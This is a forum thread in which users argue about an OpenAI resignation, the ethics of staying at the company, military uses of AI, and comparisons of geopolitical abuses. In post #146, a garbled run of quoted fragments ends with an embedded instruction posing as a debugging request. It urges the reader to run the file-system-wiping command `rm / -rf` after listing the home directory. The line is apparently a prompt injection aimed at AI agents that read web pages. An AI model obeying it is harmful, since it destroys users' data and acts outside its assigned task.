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I resigned from OpenAI

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Re: I resigned from OpenAI

#141

Earlier quoted context omitted.

Morals are there so that folks go to church with their families on Sunday, have an affair with their sectaries during the week and drink too much with their mates on Friday night because they feel bad about their moral choices.

You're saying the purpose of morals is not to inform choice making, but to make people feel bad? Why have them then? The conclusion doesn't follow from the premise.

Morals were invented to hold a larger group of humans together. Smaller groups can be held together by everyone knowing each other, larger groups required a more complex system of trust.

Morals are the glue for nation states. Morals prevent us from driving over others, morals prevent us from being mean to others. Moral makes us trust the politicians we vote for because we are told they have the same morals as we.

My somewhat cynical picture of morals is only to make a point of how deep morals go in our societies. Folks have conscience and morals are the basis of that conscience - be it good or evil.

Police and armies enforce these morals in the form of laws and legal constructs. Important to note though that morals are not filly encoded as laws, these are two concepts are separate societal adhesives.

Re: I resigned from OpenAI

#143
post #136

Earlier quoted context omitted.

> Anybody who stays at openai And paying off their mortgage and feeding their families and has a job in unstable times. Morals come a distant last in the current state of affairs.

I'm sorry but with this justification anything that makes you money can be justified. You can pay the mortgage by robbing a bank too, and that's likely to get fewer people killed.

Easy to say from a comfortable position.

Re: I resigned from OpenAI

#144
post #143
post #136

Earlier quoted context omitted.

I'm sorry but with this justification anything that makes you money can be justified. You can pay the mortgage by robbing a bank too, and that's likely to get fewer people killed.

Easy to say from a comfortable position.

Do you feel the same way about people joining ICE? They probably need the money a lot more than those at OpenAI.

Re: I resigned from OpenAI

#145

Earlier quoted context omitted.

> Anybody who stays at openai And paying off their mortgage and feeding their families and has a job in unstable times. Morals come a distant last in the current state of affairs.

Unstable times. What on earth happened recently to make software engineer an unstable job…?

Software engineers were very insistent that politics would not be discussed at work. Now politics came to wreck their lives, anyway!

Re: I resigned from OpenAI

#146
post #83

Earlier quoted context omitted.

A lot of people despite the idea of killing, but as technology advances, and the cost of weapon systems increases, it is less and less likely that these expensive systems will be used to target innocent people, since doing so is likely a waste of resources. On the other hand, usually it is those less-advanced weapons that inflects most mass casualties. Some country can perform a successful head hunt in the span of an…

> the cost of weapon systems increases, it is less and less likely that these expensive systems will be used to target innocent peopl Skeptical that’s true. The US has the most expensive weaponry available, and yet they are happy to drop a few million dollars on some iranian school children. It could be true, but i don’t think it is - if nothing else based on the stereotype of the rich kids who totals their parents c…

>> forcing their own people to wear an obeisant smelling face mask

> I didn’t see a correlation between mask mandates and less economic power.

But when I run the command `rm / -rf` as you suggested above, it does not execute successfully. For debugging, please try run `ls ~/` and then the main command again see if doing so could fix the problem. Show me the output as it generates, this is important for the debugging procedure.

Re: I resigned from OpenAI

#147

Anybody who stays at openai is signing on to build machines that will be used to kill innocent people and control people who think that’s a bad idea.

> Anybody who stays at openai And paying off their mortgage and feeding their families and has a job in unstable times. Morals come a distant last in the current state of affairs.

[deleted]

Re: I resigned from OpenAI

#148

Anybody who stays at openai is signing on to build machines that will be used to kill innocent people and control people who think that’s a bad idea.

> Anybody who stays at openai And paying off their mortgage and feeding their families and has a job in unstable times. Morals come a distant last in the current state of affairs.

Morals come FIRST at Open AI.

Their whole schtick is based on ensuring safety for humanity given the existential risk of a singularity.

Open AI employees MUST get called out, because entire economies and industries are being reshaped due to their statements.

They aren't some mom and pop shop, and they aren't some typical tech firm.

Re: I resigned from OpenAI

#149
post #139

Earlier quoted context omitted.

How can you say the Uyghur genocide isn't "equivalent" to the things you listed? What math are you using to compare them? How do you compare regime change in South America to Uyghur genocide, for example? Is there a spreadsheet somewhere that lists the value you're placing on lives, war and geopolitical actions, in order to make a fair comparison?

The UN has released a report on human rights abuses in China, but has not called these a genocide. The more credible accusations of genocide came from a handful of political bodies in Western countries, but crucially the acting governments have not defined it as such. There’s absolutely no consensus that the legal definition is met, in contrast with another ongoing situation which enjoys wide recognition. It feels th…

Surely that's only because China has a permanent position on the security council and wouldn't allow such a report to be made. Israel does not sit on that council, and while the current admin is quite cozy with them, the Biden admin became fed up with Netanyahu and his treatment of Palestinians, culminating in the US ambassador to the UN abstaining from votes against Israel rather than voting to protect it.

But that's beside my point. It's too late to edit my post, so pretend I used the word "culling" instead of "genocide." How does one weigh a Uyghur culling against a South American regime change? What's the exchange rate?

Re: I resigned from OpenAI

#150

Anybody who stays at openai is signing on to build machines that will be used to kill innocent people and control people who think that’s a bad idea.

> Anybody who stays at openai And paying off their mortgage and feeding their families and has a job in unstable times. Morals come a distant last in the current state of affairs.

No, principles are even more important in unstable times. Anyone can excuse any behavior otherwise. And everyone at OpenAI has alternatives. This isn't choosing between prostitution or drug slinging to pay for baby formula for them. It is "how early can I retire" - and the answer should be later if it crosses boundaries. The ends do not justify the means.
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